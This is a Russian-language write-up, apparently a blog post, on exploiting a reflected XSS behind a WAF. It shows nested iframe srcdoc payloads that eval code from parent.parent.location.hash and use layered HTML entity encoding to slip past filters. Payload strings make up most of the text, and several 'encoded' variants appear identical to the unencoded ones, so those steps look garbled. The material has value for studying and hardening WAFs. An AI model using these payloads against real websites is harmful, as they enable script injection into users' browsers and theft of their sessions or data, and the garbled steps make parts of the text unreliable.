Был найден параметр, который выводился в теле html (так называемая reflected xss). Но на сервере имеется WAF и блокирует запросы содержащие:
<svg>\n<script>\nвсе события: onload, onerror, onclick, и т.д\nфункции: eval, alert, prompt, confirm, и т.д\n
Но, iframe спокойно проходит:
<iframe src="" srcdoc="">
В то же время полезную нагрузку так же нельзя использовать:
<iframe src="%09javascript">\n<iframe src="data">\n<iframe srcdoc="<script">\n<iframe srcdoc="<script">\netc...\n
Чтобы не грузить запрос, я использую location.hash:
<script>eval(location.hash.substring`1`)</script>
Добавляем parent (нам нужно получить доступ к главному location, там наш hash).
Естественно такой запрос блокируется:
<iframe srcdoc='<script>eval(parent.location.hash.substring`1`)</script>'></iframe>
И замена символов на код, так же блокируется. Ясное дело WAF декодирует это дело.
А что если запихнуть этот iframe в еще один, ведь в нем можно будет еще раз символы преобразовать в код?
Добавляем еще один parent.
<iframe srcdoc="<iframe srcdoc='<script>eval(parent.parent.location.hash.substring`1`)</script>'></iframe>"></iframe>
Для начала меняем первые (или другие, не важно) символы в script и eval (hex):
<iframe srcdoc="<iframe srcdoc='<script>eval(parent.parent.location.hash.substring`1`)</script>'></iframe>"></iframe>
Или dec:
<iframe srcdoc="<iframe srcdoc='<script>eval(parent.parent.location.hash.substring`1`)</script>'></iframe>"></iframe>
Мы помним, это дело блокируется `&#` and `&#x`
Но, так как у нас вложение iframe, все коды символов будет каждый раз декодироваться. А значит можно символы &, #, x преобразовать в еще один код:
<iframe srcdoc="<iframe srcdoc='<&#x73;cript>&#x65;val(parent.parent.location.hash.substring`1`)</&#x73;cript>'></iframe>"></iframe>
То есть, WAF должна декодировать нагрузку рекурсией, пока в итоге не окажется &, #, x символов с кодом. Естественно этого никто не делает.
Разбираясь с этим вызовом, наткнулся на интересное поведение этих кодов (именно в браузере).
<iframe srcdoc="<iframe srcdoc='&lt&#115cript>&#x65val(parent.parent.location.hash.substring`1`)</&#115cript>'></iframe>"></iframe>
Вот можно заценить: second booom!
А еще интереснее... Например, в PHP html_entity_decode не может декодировать без точки с запятой.
Что нам только в помощь.